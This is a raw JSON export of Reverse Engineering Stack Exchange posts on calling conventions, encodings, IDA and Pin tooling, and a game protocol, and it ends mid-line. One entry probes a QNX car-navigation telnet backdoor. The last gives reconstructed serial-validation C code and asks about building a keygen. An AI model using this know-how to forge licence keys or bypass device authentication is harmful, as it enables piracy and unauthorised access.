    There are limits to what an EULA can forbid you to do. But this depends a lot in your location. In the US, EULAs tend to overrule rights that laws give you, in EU, law tends to overrule EULAs. There is an EU directive that, greatly simplified, says you are allowed to reverse engineer stuff if you want to interface it with other stuff and the manufacturer doesn't give you neccesary documentation.

    \n\n

    This is sometimes misinterpreted to mean \"as long as you live in the EU, reverse engineering is ok\". This is wrong. A EU directive is not comparable to US federal law; it just means the individual states have to pass laws with a general content. They have considerable leeway in doing so, and sometimes, EU directives don't get turned into national law at all. So what might be ok in one state might not be in another one. Or, you might be required to prove you asked for documentation and were refused before you reverse engineered anything.

    \n\n

    And even the existance of a blog post does not mean the blogger isn't breaking any laws. Nintendo might just not know about the post, or not care, or not want to draw the attention a lawsuit means. This doesn't mean they won't sue you.

    \n\n

    And of course, you may be doing something that turns out to be legal after a 3 year lawsuit that cost you several dozen thousand dollars. Companies have far greater resources than you do; winning your case in the end can still mean lots of trouble in the first place.

    \n\n

    So, any advice you can get on the internet will be bad advice. Don't take it. Ask someone who can take into account the specifics of your situation, and whom you can hold responsible in the case of bad advice.

    \n" }, { "Id": "12336", "CreationDate": "2016-04-04T11:29:55.843", "Body": "

    Reverse engineering a kernel mode driver (in its 32-bit x86 incarnation) I stumbled over what seems to be an odd calling convention. For a driver I'd expect to see __cdecl, __fastcall and __stdcall in the Microsoft flavor. And since this driver obviously uses its own C++ runtime I'll expect to see __thiscall as well.

    \n\n

    However, in this driver I see functions that are passed their first argument in eax. This is completely unexpected, so I am wondering if anyone here has an idea what could be going on?

    \n\n
    sub_40XXXX      proc near\n    push    ebx\n    push    esi\n    mov     esi, eax\n    push    edi\n    xor     edi, edi\n
    \n\n

    Frame pointer omission doesn't seem like a credible cause for what I am seeing. Is this a bad case of LTCG?

    \n\n
    \n\n

    The driver in question is a file system mini filter driver and from the looks of it I'd guess it was linked by the linker in the Windows 7 WDK (although I cannot really say which exact version, e.g. 7600.16385.1 or another). Linker version states 9.00 in the PE optional header. Subsystem version is 5.00 which would indicate that it was built to target Windows 2000. It also suggests that the subsystem was passed explicitly, since the Vista WDKs were the last ones to support targeting Windows 2000. Of course this could also have been built using VS 2008, hard to tell (the standalone WDKs used to include the same optimizing compilers as VS). For all I know it could also be a mix of compilers and linkers from different toolchains. But given that the linker needs to know about calling conventions, I'm still expecting to see some standard calling convention.

    \n\n

    Here are the clues for the driver in question (trimmed down version of dumpbin /headers ... output):

    \n\n
            9.00 linker version\n        1000 section alignment\n         200 file alignment\n        5.00 operating system version\n        0.00 image version\n        5.00 subsystem version\n
    \n\n
    \n\n

    The standard calling convention for drivers is __stdcall. But to verify that __fastcall doesn't indeed use eax as I see in the other driver, I decided to create a little driver. In order to prevent the compiler or linker to optimize out my function calls, I messed up some variables subsequently passed to IoCreateSymbolicLink.

    \n\n

    The C++ code for the respective two functions is:

    \n\n
    UINT_PTR __fastcall fastcall_test(UINT_PTR arg1, UINT_PTR arg2)\n{\n    UINT_PTR ret = arg1 + arg2;\n    DbgPrint(\"%u, %u -> %u\", arg1, arg2, ret);\n    return ret;\n}\n\nUINT_PTR __stdcall stdcall_test(UINT_PTR arg1, UINT_PTR arg2)\n{\n    UINT_PTR ret = arg1 + arg2;\n    DbgPrint(\"%u, %u -> %u\", arg1, arg2, ret);\n    return ret;\n}\n
    \n\n

    and they're called as:

    \n\n
    UINT_PTR fct = fastcall_test((UINT_PTR)status, RegistryPath->MaximumLength);\nUINT_PTR sct = stdcall_test((UINT_PTR)status, RegistryPath->MaximumLength);\n\nusSymlinkName.Buffer += fct;\nusSymlinkName.Length += (USHORT)fct;\nusSymlinkName.Buffer += sct;\nusSymlinkName.MaximumLength += (USHORT)(sct + fct);\n
    \n\n

    from DriverEntry between IoCreateDevice and IoCreateSymbolicLink in a default project generated using DDKWizard.

    \n\n

    When compiling this targeting Windows XP, the outcome is as follows:

    \n\n
    .text:00010512 unsigned int __fastcall fastcall_test(unsigned int, unsigned int) proc near\n.text:00010512                                         ; CODE XREF: DriverEntry(x,x)+41p\n.text:00010512 arg1 = ecx\n.text:00010512 arg2 = edx\n.text:00010512                 mov     edi, edi\n.text:00010514                 push    esi\n.text:00010515                 lea     esi, [arg1+arg2]\n.text:00010518                 push    esi\n.text:00010519                 push    arg2\n.text:0001051A                 push    arg1\n.text:0001051B                 push    offset Format   ; \"%u, %u -> %u\"\n.text:00010520                 call    _DbgPrint\n.text:00010525                 add     esp, 10h\n.text:00010528                 mov     eax, esi\n.text:0001052A                 pop     esi\n.text:0001052B                 retn\n.text:0001052B unsigned int __fastcall fastcall_test(unsigned int, unsigned int) endp\n.text:00010532 unsigned int __stdcall stdcall_test(unsigned int, unsigned int) proc near\n.text:00010532                                         ; CODE XREF: DriverEntry(x,x)+50p\n.text:00010532\n.text:00010532 arg1            = dword ptr  8\n.text:00010532 arg2            = dword ptr  0Ch\n.text:00010532\n.text:00010532                 mov     edi, edi\n.text:00010534                 push    ebp\n.text:00010535                 mov     ebp, esp\n.text:00010537                 mov     eax, [ebp+arg1]\n.text:0001053A                 mov     ecx, [ebp+arg2]\n.text:0001053D                 push    esi\n.text:0001053E                 lea     esi, [eax+ecx]\n.text:00010541                 push    esi\n.text:00010542                 push    ecx\n.text:00010543                 push    eax\n.text:00010544                 push    offset Format   ; \"%u, %u -> %u\"\n.text:00010549                 call    _DbgPrint\n.text:0001054E                 add     esp, 10h\n.text:00010551                 mov     eax, esi\n.text:00010553                 pop     esi\n.text:00010554                 pop     ebp\n.text:00010555                 retn    8\n.text:00010555 unsigned int __stdcall stdcall_test(unsigned int, unsigned int) endp\n
    \n\n

    As expected __fastcall ends up passing arguments via ecx and edx. So what's going on with my other driver?

    \n\n
    \n\n

    Meanwhile I found out how the PE header values could be achieved using a vanilla Windows 7 WDK. This will then yield a binary which is compatible with Windows 2000, assuming you build for x86, and contain these exact values (and of course assuming you don't do stupid things like statically importing DDIs only available after Windows 2000).

    \n\n

    In sources specify ...

    \n\n
    USE_MAKEFILE_INC=1\nSUBSYSTEM_VERSION=$(SUBSYSTEM_500)\n# Alternatively:\n#SUBSYSTEM_VERSION=5.00\n
    \n\n

    which will force nmake to include makefile.inc from the same location as the sources file and set the SUBSYSTEM_VERSION correctly (5.00 for x86 and 5.02 for amd64).

    \n\n

    Then in makefile.inc override

    \n\n
    LINKER_APP_VERSION=0.00\nLINKER_OS_VERSION=$(SUBSYSTEM_VERSION)\n
    \n\n

    which works because makefile.inc gets included quite late from makefile.new and therefore we can use it to override the defaults specified by the default build environment.

    \n", "Title": "Confused about calling convention in a Windows kernel mode driver", "Tags": "|windows|driver|calling-conventions|", "Answer": "

    Most likely it's just LTCG/LTO, especially if the function in question is only never called externally. Using it can result in the following:

    \n\n\n" }, { "Id": "12341", "CreationDate": "2016-04-04T18:51:28.297", "Body": "

    I didn't know where to ask this; I hope it's in the proper place.

    \n\n

    My wife just bought one of these mobile credit card processing devices for her phone and I was curious as to why these devices use TRRS instead of the Micro USB connection.

    \n\n

    Could it be as simple as a more stable, physical, attachment to the frame of the phone?

    \n", "Title": "Why do Mobile Credit Card Devices use the TRRS connection instead of the Micro USB?", "Tags": "|hardware|", "Answer": "

    Probably because many mobile devices don't have micro-USB ports, but almost all of them (iPhones, iPads, Android phones, etc.) have headset (TRRS) jacks.

    \n\n

    This allows the mobile credit card processing company to make a single hardware device that will work with all of these mobile devices.

    \n" }, { "Id": "12343", "CreationDate": "2016-04-04T20:33:14.383", "Body": "

    I am working on reverse engineering an encoding.

    \n\n

    A number between -12 and 12, with 2 decimals is encoded using an unknown method, and the result is a pair of strings as follows:

    \n\n
    value   string1     string2\n  0     AAAAAAAAAA  AAAAAAAA\n  0.01  AAAAB7FK5H  4XqEPwAA\n  0.02  AAAAB7FK5H  4XqUPwAA\n  0.03  AAAAC4HoXr  UbiePwAA\n  1     EAAAAAAAAA  AADwPwAA\n  2     IAAAAAAAAA  AAAAQAAA\n  3     MAAAAAAAAA  AAAIQAAA\n  4     QAAAAAAAAA  AAAQQAAA\n  5     UAAAAAAAAA  AAAUQAAA\n  6     YAAAAAAAAA  AAAYQAAA\n  7     cAAAAAAAAA  AAAcQAAA\n  8     gAAAAAAAAA  AAAgQAAA\n  9     kAAAAAAAAA  AAAiQAAA\n 10     oAAAAAAAAA  AAAkQAAA\n 11     sAAAAAAAAA  AAAmQAAA\n 12     wAAAAAAAAA  AAAoQAAA\n-12     T///8AAAAA  AAAowAAA\n- 1     ////8AAAAA  AADwvwAA\n- 0.64  ////97FK5H  4XrkvwAA\n  2.01  IAAAAUrkfh  ehQAQAAA\n
    \n\n

    (any additional samples can be provided upon request)

    \n\n

    Obviously, I would like to determine the algorithm used to do this conversion.

    \n\n

    My research indicates it MIGHT have to do with base64 encoding, and the alphabet used is \nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

    \n\n

    A=0 B=1 ... /=63

    \n\n

    For instance, the first column, translated to decimal, then divided by 4 \n(discarding the remainder), gives the \"integer\" part of the value, when \nthe value is positive, or 16-value, when negative.

    \n\n

    I had lass luck with the decimal part, I just don't have the knowledge.

    \n\n

    If anyone can give me a hint or a solution, it would be immensely appreciated.

    \n\n

    I am a photographer with basic math and programming knowledge, and this would be the central piece needed to complete a script that will optimize my workflow, that now requires for me to manually read, compute (excel) and write those values back (in decimal).

    \n\n

    Thank you.

    \n", "Title": "Reverse engineering a base64 encoded number", "Tags": "|encodings|", "Answer": "

    Building on @ebux's answer:

    \n\n

    The first 4 bytes is the integral part of the number, encoded in a slightly weird way .. the UPPER nibble of the first byte is the number itself. The other 5 nibbles are 0 for positive, f for negative numbers in the \"usual\" way.

    \n\n

    The rest of the strings are, like @ebux said, the float part of the value, in IEEE format, but when encoding/decoding them, you have to add/remove two \\0 bytes to the binary string.

    \n\n

    This perl program will decode a file containing your examples:

    \n\n
    #!/usr/bin/perl\n\nuse MIME::Base64 qw(decode_base64 encode_base64);\nwhile (<>) {\n    chomp;\n    y/\\r//d;\n    s/- /-/;\n    s/^\\s+//;\n    ($a, $b, $c)=split();\n    $a2=decode_base64(substr($b, 0, 4));\n    $b2=substr(decode_base64(substr($b, 2)), 2);\n    $c2=substr(decode_base64($c), 0, 4);\n    printf(\"%10s\", $a);\n    print \"\\t\"; printhex($a2); \n    print \"\\t\"; printhex($b2); \n    print \"\\t\"; printhex($c2);\n    print \"\\t\"; printint($a2);\n    print \"\\t\"; printdbl($b2.$c2);\n    print \"\\n\";\n}\n\nsub printhex {\n    my $str=shift;\n    for ($i=0; $i<length($str); $i++) {\n        printf(\"%02x.\", ord(substr($str, $i, 1)));\n    }\n}\n\nsub printint {\n    my $str=shift;\n    my $val=ord(substr($str, 0, 1))>>4;\n    $val-=16 if (substr($str, 1, 1) eq \"\\xff\");\n    printf(\"%5d\", $val);\n}\n\nsub printdbl {\n    my $str=shift;\n    my $val=unpack(\"d\", $str);\n    printf(\"%10.4f\", $val);\n}\n
    \n\n

    Output (column order is your column, 3 columns of hex bytes derived from the base64 strings, integer value derived from col1, float value from col2/3):

    \n\n
      2.01  20.00.00.   14.ae.47.e1.    7a.14.00.40.        2       2.0100\n     0  00.00.00.   00.00.00.00.    00.00.00.00.        0       0.0000\n  0.01  00.00.00.   7b.14.ae.47.    e1.7a.84.3f.        0       0.0100\n  0.02  00.00.00.   7b.14.ae.47.    e1.7a.94.3f.        0       0.0200\n  0.03  00.00.00.   b8.1e.85.eb.    51.b8.9e.3f.        0       0.0300\n     1  10.00.00.   00.00.00.00.    00.00.f0.3f.        1       1.0000\n     2  20.00.00.   00.00.00.00.    00.00.00.40.        2       2.0000\n     3  30.00.00.   00.00.00.00.    00.00.08.40.        3       3.0000\n     4  40.00.00.   00.00.00.00.    00.00.10.40.        4       4.0000\n     5  50.00.00.   00.00.00.00.    00.00.14.40.        5       5.0000\n     6  60.00.00.   00.00.00.00.    00.00.18.40.        6       6.0000\n     7  70.00.00.   00.00.00.00.    00.00.1c.40.        7       7.0000\n     8  80.00.00.   00.00.00.00.    00.00.20.40.        8       8.0000\n     9  90.00.00.   00.00.00.00.    00.00.22.40.        9       9.0000\n    10  a0.00.00.   00.00.00.00.    00.00.24.40.       10      10.0000\n    11  b0.00.00.   00.00.00.00.    00.00.26.40.       11      11.0000\n    12  c0.00.00.   00.00.00.00.    00.00.28.40.       12      12.0000\n   -12  4f.ff.ff.   00.00.00.00.    00.00.28.c0.      -12     -12.0000\n    -1  ff.ff.ff.   00.00.00.00.    00.00.f0.bf.       -1      -1.0000\n -0.64  ff.ff.ff.   7b.14.ae.47.    e1.7a.e4.bf.       -1      -0.6400\n  2.01  20.00.00.   14.ae.47.e1.    7a.14.00.40.        2       2.0100\n
    \n\n

    This program converts one or multiple numbers to your format:

    \n\n
    #!/usr/bin/perl\n\nuse MIME::Base64 qw(decode_base64 encode_base64);\n\nforeach $a (@ARGV) {\n    print $a;\n    my $intpart=($a & 0x0f) << 4;\n    if ($a<0) {\n        $intpart|=0xffffff0f;\n    }\n    my $part1=encode_base64(pack(\"l\", $intpart)); chomp $part1;\n    # print \"\\t\", $part1;\n\n    my $temp=encode_base64(\"\\x00\\x00\".pack(\"d\", $a)); chomp $temp;\n    # print \"\\t\", $temp;\n\n    my $part2=substr($part1, 0, 4).substr($temp, 2, 6);\n    print \"\\t\", $part2;\n\n    my $part3=substr($temp, 8, 6).\"AA\";\n    print \"\\t\", $part3;\n\n    print \"\\n\";\n}\n
    \n\n

    Example:

    \n\n
    $ perl encode.pl 0.01 0.02 0.03  2.01 0 11 12 -12 -1 \n0.01    AAAAB7FK5H  4XqEPwAA\n0.02    AAAAB7FK5H  4XqUPwAA\n0.03    AAAAC4HoXr  UbiePwAA\n2.01    IAAAAUrkfh  ehQAQAAA\n0       AAAAAAAAAA  AAAAAAAA\n11      sAAAAAAAAA  AAAmQAAA\n12      wAAAAAAAAA  AAAoQAAA\n-12     T///AAAAAA  AAAowAAA\n-1      ////AAAAAA  AADwvwAA\n
    \n\n

    And here's a link to all numbers from -12 to 12:

    \n\n

    https://mega.nz/#!BVpWgBiI!aPbtMmMYnLgUUn011Cl5qjA5OO6TpKG8CSTIhR7Re0E

    \n" }, { "Id": "12348", "CreationDate": "2016-04-05T12:47:11.530", "Body": "

    I am trying to analyze some execution crash information, and to better identify the root cause of memory access error, I would like to reverse execute the program from the crash point.

    \n\n

    For example, to identify the root cause of memory access error below, I would like to reversely execute from the third line, and by leveraging some data flow analysis techniques, I should be able to identify the root cause at the first line.

    \n\n
    mov    -0x18(%rbp),%rax       <---- root cause is at memory -0x18(%rbp)\nadd    %rdx,%rax\nmov    (%rax),%eax            <--- crash when reading (%rax)\n
    \n\n

    So here is my question, is there any dynamic analysis tool/debugger that can support reverse execution? I prefer Pin, but I am not aware that Pin can do this..

    \n", "Title": "Dynamic instrumentation tools which support reverse execution", "Tags": "|binary-analysis|dynamic-analysis|", "Answer": "

    If you have access to IDA, you can use the trace replayer. It doesn't exactly support reverse execution, but I wrote it with the idea to help in the problem you have: check why a crash happened by replaying recorded executions traces. The program is not executing but rather replaying the execution trace, however, in most cases, that is more than enough.

    \n" }, { "Id": "12352", "CreationDate": "2016-04-05T16:26:45.783", "Body": "

    I am researching an QNX ARM based car navigation and it seems this system has a backdoor that enables telnet access without password to the system if a challenge/response succeeds.

    \n\n

    When a file called challenge is placed on a USB key and inserted in the system it will write some bytes in it. Here are a few examples:\neaxj2ABs4BeMQqQJamOH?smOCVEC\nKKUcw5m:vvJXmCIK3SBDDqv9p:Or\nodlwY@ed6B?8OKCmaqIDdFz7YSnv\nBBqGoWKocmAuvSDacMAkZ:83:QVq

    \n\n

    I found the ELF file that handles the challenge/response in the firmware (can share this upon request) and it reads a public key file:\nhChallengePub = sub_1030A0((int)\"/ifs/challenge.pub\", &v11, &v13)

    \n\n

    challenge.pub contains the following bytes:

    \n\n
    30 29 03 02 07 00 02 01 0E 02 0F 00 9C 9C A4 5A\nFA 1E 2D 32 2A 93 9D 37 41 93 02 0F 00 95 AB 6B\nDB 94 29 4D C3 C6 07 3B B7 31 40\n
    \n\n

    Debug text in the ELF points to source file src/pk/ecc/ecc_import.c which leds me to believe it's an ECC public key but it seems to be incomplete (eg no ASN.1 header).

    \n\n

    I want to be able to convert this key into pem format so I can run some tests with openssl so I am looking for pointers how to do this.

    \n\n

    Ultimately I'd like to see if I can create proper response and get access but maybe this is impossible if it requires private key (which it should if it's any good).

    \n", "Title": "create pem from ecc signature bytes", "Tags": "|encryption|qnx|", "Answer": "

    src/pk/ecc/ecc_import.c strongly suggests that it's using LibTomCrypt: https://github.com/libtom/libtomcrypt/blob/develop/src/pk/ecc/ecc_import.c

    \n\n

    The content of challenge.pub appears to be DER-encoded. It can be decoded as follows:

    \n\n
    SEQUENCE(4 elem)\n    BIT STRING (1 bit) 0\n    INTEGER            14\n    INTEGER (112 bit)  3176466357047968568460177262985619\n    INTEGER (112 bit)  3035660427084515633934604600553792\n
    \n\n

    As can be seen in the ecc_import.c code referenced above, this translates to:

    \n\n\n" }, { "Id": "12357", "CreationDate": "2016-04-06T18:44:26.437", "Body": "

    Up until now I've been performing static analysis using Ida and run time analysis using OllyDBG.

    \n\n

    I've identified a function in Olly which I would like to start documenting further in Ida, however I can't seem to find the function in Ida, and the executable doesn't appear to be packed or obfuscated.

    \n\n

    What could cause this? (besides user error :p)

    \n\n

    I've heard of dumping a process to memory, then performing static analysis on that dump file - would this make sense in the current context?

    \n\n

    What differences would there be compared to just looking at the executable?

    \n\n

    Does the software used to dump the process effect it's structure - are there different types of process dumps?

    \n\n

    How would I actually go about opening the dump file in Ida?

    \n", "Title": "Process Dumping and Ida", "Tags": "|ida|memory|dumping|process|", "Answer": "

    If your binary is allocating a new memory page & writing code on it, that's something you won't see on the static binary. Performing a full dump of the process from memory and loading this new binary into IDA will indeed show you those new parts. The data has to come from somewhere though (ressource, compressed, encrypted, another file, Internet, etc).

    \n\n

    As you mentioning that the binary appears to be neither packed nor obfuscated, be sure to check you're not just into one of the loaded DLL of your binary (reversing one of the imported DLL might not be what you're willing to do?).

    \n" }, { "Id": "12361", "CreationDate": "2016-04-07T13:32:43.437", "Body": "

    If I open the Segments subview in IDA, I can get a list of all of the segments.

    \n\n

    I would like to access this list so I can enumerate through all of the segments.

    \n\n

    How can I do this with idapython?

    \n", "Title": "idapython: getting a list of all segments", "Tags": "|ida|idapython|", "Answer": "

    Try to use the Segments() from idautils.

    \n\n
    from idautils import *\nfrom idc import *\nfrom idaapi import *\n\nfor ea in Segments():\n    print '%x-%x'%(SegStart(ea),SegEnd(ea))\n
    \n" }, { "Id": "12363", "CreationDate": "2016-04-07T13:49:00.140", "Body": "

    I am using Intel Pin in order trace memory activity of an executable on Windows. What I have found, that most of the memory operands (Read or Write) operates with 2 or 4 bytes. So I decided to modify original Pin's pinatrace example, in order to see which Assembly opcodes produces which memory activity.

    \n\n
    VOID Instruction(INS ins, VOID *v)\n{\n\n        UINT32 memOperands = INS_MemoryOperandCount(ins);\n        fprintf(trace,\"\\n[%s]\\n\",(INS_Disassemble(ins)).c_str()); \n        for (UINT32 memOp = 0; memOp < memOperands; memOp++)\n        { \n             .....\n
    \n\n

    What it basically does (I hope), is just writes disassembled opcode BEFORE the memory operands it produces. But then I looked in the file (W is for write, R is for read):

    \n\n
    \n

    [test edx, 0x800000]

    \n \n

    [jnz 0x77708557]

    \n \n

    [mov dword ptr [ebp-0x4], edi]

    \n \n

    [test dl, 0x1]

    \n \n

    [jnz 0x77703136] RWWRWW

    \n \n

    [lea edi, ptr [ebx+0xcc]]

    \n \n

    [push dword ptr [edi]]

    \n \n

    [call 0x77702520] RWW

    \n \n

    [mov edi, edi]

    \n \n

    [push ebp]

    \n \n

    [mov ebp, esp]

    \n \n

    [mov eax, dword ptr [ebp+0x8]]

    \n \n

    [mov ecx, dword ptr fs:[0x18]]

    \n \n

    [lea edx, ptr [eax+0x4]]

    \n \n

    [lock btr dword ptr [edx], 0x0]

    \n \n

    [jnb 0x777041dc]

    \n \n

    [mov ecx, dword ptr [ecx+0x24]]

    \n \n

    [mov dword ptr [eax+0xc], ecx]

    \n \n

    [mov dword ptr [eax+0x8], 0x1]

    \n \n

    [mov eax, 0x1]

    \n \n

    [pop ebp]

    \n \n

    [ret 0x4] WRRRWRWWRR

    \n
    \n\n

    As we can see, opcodes that are supposed to work with memory (e.g. mov) do not produce memory operands. While memory traces are connected as blocks after ret/call/jnz etc.

    \n\n

    Question: What kind of memory operands does Intel Pin trace? Is it about calls to virtual memory/RAM/CPU registers? Could it be possible, that memory activity goes in blocks due to CPU's pipeline?

    \n", "Title": "Intel Pin memory operations tracking", "Tags": "|disassembly|binary-analysis|memory|pintool|", "Answer": "

    So, finally I came up with the solution that works how I want and results seem to be valid according to this reference of instruction tables

    \n
    fprintf(trace,"\\n[%s]\\n",(INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()\nfflush(trace);\n   \nfor (UINT32 memOp = 0; memOp < memOperands; memOp++)\n{\n    if (INS_MemoryOperandIsRead(ins, memOp))\n    {\n        fprintf(trace,"R");\n        icount++;\n    }\n\n    if (INS_MemoryOperandIsWritten(ins, memOp))\n    {\n        fprintf(trace,"W");\n        icount++;\n    }\n}\n
    \n

    And it produces the following output:

    \n
    [mov eax, dword ptr [ebp+0x10]]\nR\n[mov byte ptr [ebx+0x2], 0x0]\nW\n[mov byte ptr [ebx+0x7], 0x0]\nW\n
    \n

    I cannot be sure that it is the true sequence of executable under analysis because I do output in the instrumentation phase, but the code can probably be modified it the way to write opcode inside another INS_InsertPredicatedCall, so it will be recorded when it will be executed.

    \n" }, { "Id": "12367", "CreationDate": "2016-04-07T18:29:32.950", "Body": "

    I cam using the capstone disassembly framework to disassemble intel x86 code. I need to find out which operands are read to or written from (or both). According to the website, this is possible by doing operand.access, which holds CSACREAD | CSAWRITE flags.

    \n\n

    http://www.capstone-engine.org/op_access.html

    \n\n

    However, if we look at the definition on github:

    \n\n

    https://github.com/aquynh/capstone/blob/master/include/x86.h#L183

    \n\n

    no operand[0].access exists!

    \n\n

    What's going on? Does this feature not exist yet? Was it removed?

    \n", "Title": "capstone disasm framework - check if argument read/written", "Tags": "|x86|capstone|", "Answer": "
    \n

    Now available in the Github branch next, Capstone provides a new API named cs_regs_access().

    \n
    \n\n

    This feature will be aviable in the version 4.0 of Capstone, you should switch to the next branch, that is already stable, to use it .

    \n" }, { "Id": "12374", "CreationDate": "2016-04-08T12:19:20.557", "Body": "

    I'm trying to decode chat strings in a multiplayer game's network traffic; the way it encodes them is seemingly some arbitrary encoding. I've been analyzing the UDP traffic to the server with wireshark. My goal is to find a general algorithm to go from hex back to the original message. I'm able to get the encoded hex result for any string, so here is the most telling pair I've recorded:

    \n\n

    From the string

    \n\n
    'aaa bbb ccc ddd eee fff ggg hhh iii jjj kkk\n lll mmm nnn ooo ppp qqq rrr sss ttt uuu vvv www xxx yyy zzz AAA BBB CCC'\n
    \n\n

    (newline only for readability)\nThe result in the sent packet is this

    \n\n
    0020   b9 b0 3c 90 **b0 b0 30 10 31 31 31 90 b1 b1 31 10\n0030   32 32 32 90 b2 b2 32 10 33 33 33 90 b3 b3 33 10\n0040   34 34 34 90 b4 b4 34 10 35 35 35 90 b5 b5 35 10\n0050   36 36 36 90 b6 b6 36 10 37 37 37 90 b7 b7 37 10\n0060   38 38 38 90 b8 b8 38 10 39 39 39 90 b9 b9 39 10\n0070   3a 3a 3a 90 ba ba 3a 10 3b 3b 3b 90 bb bb 3b 10\n0080   3c 3c 3c 90 bc bc 3c 10 3d 3d 3d 90 a0 a0 20 10\n0090   21 21 21 90 a1 a1 a1** 2a 66 10 04 20 02 34 5a 42\n
    \n\n

    Ive marked where I think the relevant data is with asterisks.\nAs you can see, it seems that

    \n\n
    a = b0, b = 31\nc = b1, d = 32\ne = b2, f = 33\ng = b3, h = 34\ni = b4, j = 35\nk = b5, l = 36\nm = b6, n = 37\no = b7, p = 38\nq = b8, r = 39\ns = b9, t = 3a\nu = ba, v = 3b\nw = bb, x = 3c\ny = bc, z = 3d\n
    \n\n

    This isn't a 1:1 encoding however. Here the character for space is either 90 or 10, and it has an influence on the encoding of the previous(?) character. I'm unaware of any other characters affecting the encoding like this.

    \n\n

    Here is the encoding for the string 'the cat is back'

    \n\n
    hex:       3a b4 32 90 b1 30 3a 90 b4 39 10 b1 b0 b1 35 90 \ndesired:   t  h  e     c  a  t     i  s     b  a  c  k    \nactual:    t  e  d     c  ?  t     i  r     c  a  c  j\n
    \n\n

    Spaces have an influence on more than just the previous character here.

    \n\n

    Is there a pattern here? What is going on? Any help or guesses are welcome.

    \n", "Title": "Is this a known encoding or cipher? (multiplayer game network traffic)", "Tags": "|strings|networking|", "Answer": "

    Writing your example, aaa b in binary, and as well the encoded string, 0xb0 0xb0 0x30 0x10 0x31:

    \n\n
           a        a        a      ' '        b\n01100001 01100001 01100001 00100000 01100010\n\n10110000 10110000 00110000 00010000 00110001\n
    \n\n

    it looks like every byte of the encoded string being the original byte shift right by one bit, with the last bit of the next byte copied to the high order bit of the current byte.

    \n\n

    So, let's reverse this: if we take your encoded string, 3a b4 32 90 b1

    \n\n
    00111010 10110100 00110010 10010000 10110001\n
    \n\n

    shift each byte left one bit, and replace the low order bit with the high order bit from the previous byte, we get:

    \n\n
    01110100 01101000 01100101 00100000 01100011 ...\n      74       68       65       20       63 ...\n       t        h        e      ' '        c ...\n
    \n" }, { "Id": "12383", "CreationDate": "2016-04-08T20:23:52.287", "Body": "

    I reverse engineered a program protection algorithm and got the result in this source file I wrote, but I would know this type of protection.\nPlease tell me what is the type of this protection ? And is there any ability to create a keygen of this algorithm ?

    \n\n
    #include <stdio.h>\n#include <string.h>\n\nchar* transformStrip = \"123456789ABCDEFGHIJKLMNPQRSTUVWXYZ\";\n\nchar* myusername = \"MYUSERNAME\";\nchar* myserial   = \"MYSERIAL33222222222222222\";\n\n//OK\nint TransformChar(char c)\n{\n    for(int i=0;i<0x22;i++)\n    {\n        if(transformStrip[i] == c)\n            return i;\n    }\n    return 0;\n}\n\n//OK\nbool MagicCalculator1(char* magicBuffer, int number)\n{\n    int a = 0;\n    //int rez = 0;\n    for (int i=0;i<0x20;i++)\n    {\n        int rez = (unsigned char)magicBuffer[i];\n        rez *= number;\n        rez += a;\n        magicBuffer[i] = (unsigned char)rez;\n        if(rez >= 0x100)\n        {\n            a = rez;\n            if(a < 0)\n                a += 0xFF;\n            a >>= 8;\n        }else\n            a = 0;\n    }\n    return (bool)a;\n}\n\nbool MagicCalculator2(char* magicBuffer, int position)\n{\n    int a = 0;\n    for (int i=0;i<0x20;i++)\n    {\n        int rez = magicBuffer[i];\n        a += rez;\n        rez = position + a;\n        magicBuffer[i] = (char) rez;\n        position = 0;\n        if(rez >= 0x100)\n        {\n            a = rez;\n        }else\n            a = 0;\n\n    }\n    return (bool)a;\n}\n\n// sizeof(magicBuffer) = 0x20\n// OK\nint SerialMagicGenerator(char* serial, char* magicBuffer, int number)\n{\n    int serialLength = strlen(serial);\n    if (serialLength <= 0)\n        return 0;\n\n    for(int i=0;i<serialLength;i++)\n    {\n        char c = serial[i];\n        if (c != '\\x20' && c != '\\x2D')\n        {\n            int pos = TransformChar(c);\n            if (MagicCalculator1(magicBuffer, number))\n                return -1;\n            if (MagicCalculator2(magicBuffer, pos))\n                return -1;\n        }\n    }\n    return 0;\n}\n\nunsigned short MagicValidator(char* combinedBuffer, int number)\n{\n    int c = 0;\n    if(number)\n    {\n        for(int i=0;i<number;i++)\n        {\n            int rez = ((unsigned char) combinedBuffer[i]) << 8;\n            c ^= rez;\n            for(int j=0;j<8;j++)\n            {\n                if(c & 0x8000)\n                {\n                    c += c;\n                    c ^= 0x1021;\n                }else\n                    c <<= 1;\n            }\n        }\n    }\n    unsigned short s = (unsigned short) ( ((c & 0xFF) << 8) | ((c & 0xFF00) >> 8) );\n    return s;\n}\n\nbool UsernameMagicVerifier(char* randomizedUsername, char* magicBuffer)\n{\n    char combinedBuffer[0x20];\n    memset(combinedBuffer, 0, 0x20);\n    memcpy(combinedBuffer, randomizedUsername, 0x10);\n    memcpy(combinedBuffer + 0x10, magicBuffer, 0x10);\n    unsigned short mustHaveValue = (unsigned short) (MagicValidator(combinedBuffer, 0x1E) & 0x7FFF);\n    unsigned short foundValue =    (unsigned short) ((*(unsigned short*) (magicBuffer + 0xE)) & 0x7FFF);\n    return (mustHaveValue == foundValue);\n}\n\nbool FinalizerVerifier(void*a, void*b)\n{\n    //assuming this always returns true\n    return true;\n}\n\nchar RandomizedUsernameBuffer[0x10];\n\nchar* RandomizeUsername(char* username)\n{\n    memset(RandomizedUsernameBuffer, 0, 0x10);\n    int usernameLength = strlen(username);\n    if(usernameLength >= 1)\n    {\n        if(usernameLength < 0x10)\n        {\n            int size = (usernameLength >> 2) * 4;\n            memcpy(RandomizedUsernameBuffer, username, size);\n            memcpy(RandomizedUsernameBuffer + size, username + size, usernameLength & 3);\n            if( usernameLength + 1 < 0x10 )\n            {\n                char* ptr;\n                ptr = RandomizedUsernameBuffer + size + (usernameLength & 3) + 1;\n                for(int i=0;ptr<RandomizedUsernameBuffer+0x10;ptr++)\n                {\n                    if( username[i] != '\\0')\n                    {\n                        *ptr = username[i];\n                        i++;\n                    }else\n                        i = 0;\n                }\n            }\n        }\n    }\n    return RandomizedUsernameBuffer;\n}\n\nbool SerialChecker(char* username, char* serial)\n{\n    char magicBuffer[0x20];\n    memset(magicBuffer, 0, 0x20);\n    char* randomizedUsername = RandomizeUsername(username);\n    SerialMagicGenerator(serial, magicBuffer, 0x22);\n    if ( UsernameMagicVerifier(randomizedUsername, magicBuffer) )\n    {\n        return FinalizerVerifier(/*?*/NULL, /*?*/NULL);\n    }\n    return false;\n}\n\nint 